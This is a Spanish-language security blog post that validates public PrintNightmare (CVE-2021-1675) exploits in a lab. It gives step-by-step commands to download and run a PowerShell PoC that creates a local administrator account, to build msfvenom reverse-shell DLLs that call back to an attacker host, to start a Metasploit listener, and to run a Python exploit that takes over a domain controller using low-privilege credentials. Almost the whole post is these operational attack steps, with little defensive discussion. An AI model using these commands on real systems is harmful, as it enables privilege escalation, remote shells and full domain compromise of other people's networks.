La semana pasada, justo antes de acabar el último mes del primer semestre de año, no podía irse sin dejarnos algunas cosillas por investigar e indagar. Y es que desde el martes las redes sociales empezaban a arder con las palabras claves: PrintNightmare y CVE-2021-1675, que básicamente hacían referencia a una nueva vulnerabilidad de máxima criticidad, misma que nos permite nada más y nada menos que conseguir LPE (Local Privilege Escalation) y RCE (Remote Code Execution) en los sistemas operativos Windows. Esta vulnerabilidad está vinculado a la Cola de Impresión (Print Spooler) y fue reportada al proveedor por los investigadores seguridad Zhipeng Huo, Piotr Madej y Zhang Yunhai.

En esta entrada no pretendo repasar los detalles técnicos de la vulnerabilidad en si, sino que quiero centrar la publicación en la validación que he realizado de algunas PoC (Pruebas de Concepto) que están emergiendo durante estos días y cubrir todas aquellas casuísticas que se pueden dar en laboratorio de cara a tener asimilada la explotación de este vector de compromiso. Por lo tanto lo que aquí presento son 3 escenarios que pueden hallarse tranquilamente en un entorno real y que podríamos aprovechar para aplicar las técnicas comentadas. Espero que os sea de utilidad.

Para mayor información sobre la vulnerabilidad y sus detalles se recomienda visitar las referencias listadas al final de esta entrada.

PoC en PowerShell (LPE)

Creación de usuario local con privilegios de administración

Esta PoC (Prueba de Concepto) escrita por los investigadores de seguridad John Hammond y Caleb Stewart está especialmente diseñada para emplearse cuando lo que buscamos es escalar privilegios a nivel local (Local Privilege EscalationLPE). Según sus autores, se trata de la primera implementación nativa en PowerShell, para el aprovechamiento de esta candente vulnerabilidad.
La implementación y puesta en marcha de este script es bastante ágil y sencillo, a continuación los pasos adoptados:

curl "https://raw.githubusercontent.com/calebstewart/CVE-2021-1675/main/CVE-2021-1675.ps1" -o CVE-2021-1675.ps1

  • Antes de iniciar la importación del script revisaremos los usuarios existentes en el sistema y los miembros del grupo de los administradores locales:
net user
net localgroup Administrators

  • Para la importación y puesta en marcha del script ejecutaremos los siguientes comandos:
Import-Module .\CVE-2021-1675.ps1
Invoke-Nightmare

  • Al ejecutarlo de esta forma y por defecto prácticamente, crearemos un usuario llamado adm1n. Si queremos ‘personalizar’ el usuario a nuestra elección, entonces debemos ejecutarlo de la siguiente forma:
Invoke-Nightmare -NewUser '1nf4y3r' -NewPassword 'P@ssw0rd1'

  • Ya por último nos queda validar el resultado de estas acciones tomadas. Para ello nuevamente comprobamos el listado de usuario locales y los miembros actualizados del grupo de Administradores:
net user
net localgroup Administrators

Como se observa, de esta forma llegaríamos a obtener un usuario con máximos privilegios a nivel local en un sistema Windows; Éste ya sea que se encuentre o no en un entorno de Active Directory.

Obtención de Reverse Shell con máximos privilegios

Si llegados a este punto, por cualquiera que fuera la razón, nuestro interés pasa por obtener una ansiada Reverse Shell, sin necesariamente crear un usuario local en el sistema objetivo. Éste mismo script nos permite definir nuestra DLL que finalmente es quien contendrá la acción a realizar en el objetivo. A continuación las instrucciones para completar este punto:

  • Lo primero será preparar nuestra DLL que nos permita realizar la conexión con nuestro equipo de ataque. Se puede hacer con el siguiente comando:
msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.50 LPORT=4455 -f dll -o reverse_shell.dll

  • Lo siguiente y con apoyo del exploit ‘multi/handler‘ de Metasploit nos pondremos a la escucha para recibir la Reverse Shell. La configuración que se adopta es la siguiente:
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 10.10.10.50; set LPORT 4455; exploit"

  • Lo siguiente será compartir tanto la DLL como nuestro script con el equipo víctima y ponerlo en marcha. Para ello empleamos la siguiente secuencia de comandos desde PowerShell:
Import-Module .\CVE-2021-1675.ps1
Invoke-Nightmare -DLL 'C:\Users\pcruz\Downloads\reverse_shell.dll'

  • De ir todo como se espera, nos dispondremos a obtener la Reverse Shell desde nuestro equipo de ataque:

PoC en Python (RCE)

Compromiso completo del Domain Controller (DC)

Una de las primeras PoC adaptadas que se conocieron (a partir de la publicación de los autores originales de la vulnerabilidad, mencionados arriba), fue liberada por el investigador con nickname cube0x0 (https://github.com/cube0x0/CVE-2021-1675). La misma tira del potente y reputado Impacket, más concretamente de la versión del investigador, que recomienda emplear.

Una vez tengamos implementado la versión recomendada de Impacket, tocará generar los elementos necesarios para desplegar el ataque al DC objetivo. Así mismo se debe tomar en cuenta las necesidades primarias que nos será preciso tener de antemano para un ataque fructífero. A continuación una breve lista de las necesidades iniciales:

  • Conocer el nombre del dominio (para esto con un simple escaneo vía nmap llegaremos al dato).
  • Credenciales de usuario de dominio (basta con usuario de bajos privilegios).
  • Generar la DLL que contendrá el payload (en este caso se genero una shell a través de MSFvenom).
msfvenom -a x64 --platform Windows -p windows/x64/shell_reverse_tcp LHOST=10.10.10.50 LPORT=4466 -f dll -o shell.dll
  • Compartir vía Samba la DLL preparada para el ataque. En este caso se ha adoptado la siguiente configuración en el fichero:
/etc/samba/smb.conf

Con todo esto ya, llega el momento de desplegar nuestro ataque.

En un primer momento dejaremos configurado y en marcha nuestro ‘multi/handler‘ de Metasploit.

msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/x64/shell_reverse_tcp; set LHOST 10.10.10.50; set LPORT 4466; exploit"

Luego llega el paso de ejecutar el exploit de Python que aprovechará esta vulnerabilidad:

python3 CVE-2021-1675.py laboratorio.local/pcruz:Password1@10.10.10.100 '\10.10.10.50\DLL\shell.dll'

La ejecución exitosa de la vulnerabilidad nos permitirá obtener acceso privilegiado al activo Controlador de Dominio (DC). Tal y como se evidencia a continuación:

En próximas entradas estaremos cubriendo algunas otras PoC que seguro van emergiendo y se van adaptando en otros lenguajes y para los framework más usados (Metasploit, Cobalt Strike, Mimikatz…).

Referencias: